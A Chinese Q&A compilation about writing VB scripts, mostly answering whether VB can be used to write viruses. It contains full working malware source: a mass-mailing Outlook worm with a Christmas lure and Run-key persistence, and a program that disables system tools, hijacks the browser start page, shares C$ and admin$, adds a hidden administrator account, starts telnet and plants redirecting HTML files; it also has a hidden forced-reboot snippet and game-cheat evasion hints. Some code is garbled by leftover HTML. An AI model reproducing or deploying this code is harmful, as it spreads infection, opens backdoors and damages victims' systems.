㈠ 怎么用vb脚本写指令
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了（这是VB 6.0的代码）
原理就是用VB调用命令提示符在执行命令，如果你还想用VB调用其他的cmd命令，就把"/c"后的东西换成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的“-r”后加上“-t 5”就可以延迟5秒再重启：Shell "cmd.exe /c shutdown -r -t 5",vbHide，后边的数字可以换成别的，单位秒。vbHide可以隐藏cmd窗口，即那个黑框框。
㈡ vb能不能写游戏脚本 那vbs又是什么，和vb一样吗学会vb就会vbs吗
VB很强大，高手可以用它做90%的各种应用。编写一些简单的游戏辅助脚本是没问题的。
VBS是Visual Basic Script的简称，它是VB的一个子集，具有VB的部分功能，而适应性更强。
一般来说，会VB的人只需要简单的了解一下区别就能熟练编写VBS代码了。
㈢ 使用VB脚本代码编写程序
代码如下，代码源文件和图片附件里面也有。
<form>
<div><td><input type=text style="width:200px; height:25px;" name="incontent" value=""> <input type=submit name="submit" value="搜索">
</td></div>
<div>
<td>
<input type=radio name="search" value="bd">网络
<input type=radio name="search" value="yh">Yahoo
<input type=radio name="search" value="sg">搜狗
</td>
</div>
</form>
<%
'网络 http://www..com/s?wd=
'搜狗 http://www.sogou.com/sogou?query=
'Yahoo https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p=test&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1
dim nr,ss
ss= Request.QueryString("search")
nr= Request.QueryString("incontent")
if ss="bd"then
response.redirect("http://www..com/s?wd="&nr)
elseif ss="yh" then
response.redirect("https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p="&nr&"&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1")
elseif ss="sg"then
response.redirect("http://www.sogou.com/sogou?query="&nr)
ss= Request.QueryString("search")=""
response.redirect("index.asp")
end if
%>
㈣ vb实现一个脚本不关闭就不能操作其他程序
很久不用VB了
如果我没记错的话 msgbox 是有几个弹出级别的，
好像有
窗口级别：不关闭不能操作父窗口
应用级别：不关闭不能操作所属应用程序
系统级别：不关闭不能操作操作系统
至于具体什么参数忘了，你可以 网络一下
㈤ 为什么用vb脚本代码写的网页作业在我的电脑上显示不出来，在别人电脑就可以
你的电脑上有装360等安全卫士软件，可能就禁用了VB脚本代码。要暂时关闭。
㈥ 请问用VB可以编写病毒吗
VB 可以写病毒的
给你个小例子可以参考
打开VB,先生成一个工程,然后删掉form,添加MDI,添加模块.
下面的就是我已经做好的蠕虫代码,因为需要一些编程基础,我在这里就不在给大家做解释了.上面有注释,你们学会VB后自己看看就明白了.
蠕虫就这样生成了,但它是被杀毒软件查杀的,我没有装杀毒.我也怕怕,不敢运行,就是教大家怎么做了.你要有杀毒的话可以试试..好了,教程就做到这里..
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！过个快乐的圣诞节! "
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mapi", "C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMapi", "C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub
㈦ 我想用VB做一个后台按键的外挂,要做哪些防检测工作,网易的
内存
不能读，那就修改内存
页面
属性为读写，至于外挂，别人都说破解的网络游戏
通信数据包的，那是
抓包
封包技术。读内存也就只读读血量什么的，还要找
内存地址
。要想做外挂，自己多琢磨琢磨
Hook
APi
和
Socket
API，还要有分析数据包的经验。
要是破解了游戏的
通信协议，都用不着运行游戏的
客户端
，自己都能搞一个客户端出来。
㈧ 什么是脚本病毒
什么是恶意脚本？
恶意脚本是指一切以制造危害或者损害系统功能为目的而从软件系统中增加、改变或删除的任何脚本。传统的恶意脚本包括：病毒，蠕虫，特洛伊木马，和攻击性脚本。更新的例子包括： Java攻击小程序（Java attack applets）和危险的ActiveX控件。
防治恶意脚本，应该采取以下措施 ：
第一，上网时开启瑞星杀毒软件的八大监控。
第二，不要轻易浏览不良网站。
第三，如果怀疑自己感染了恶意脚本，可以登陆瑞星免费查毒网站，对自己的电脑进行全面扫描。
具体的原理和防范方法到这里去学习下：
http://www.yesky.com/SoftChannel/72356699872165888/20031015/1736105.shtml
㈨ vb能编病毒吗谁能提供一段VB编的病毒代码
Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在网上失恋的痛苦中诞生这套程序，也许只有它能表达我对他现在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成为朋友的就加我QQ：545704252！", vbApplicationModal, "真爱无错V1.0"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:http://hi..com/hydown")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 & "\System32\Explorers.exe"
Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:\《真爱无错》" & "第" & i & "集" & ".htm" For Append As #1
Print #1, "<script language=’javascript’>alert(’众人皆醒我独醉，心有灵犀最珍贵，邂逅真爱不后悔，今生只为你相随。有空和我聊聊吧，！’)</script>"
Print #1, "<script language=’javascript’>window.location=’500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn/’</script>"
Close #1
Next
End If
End Sub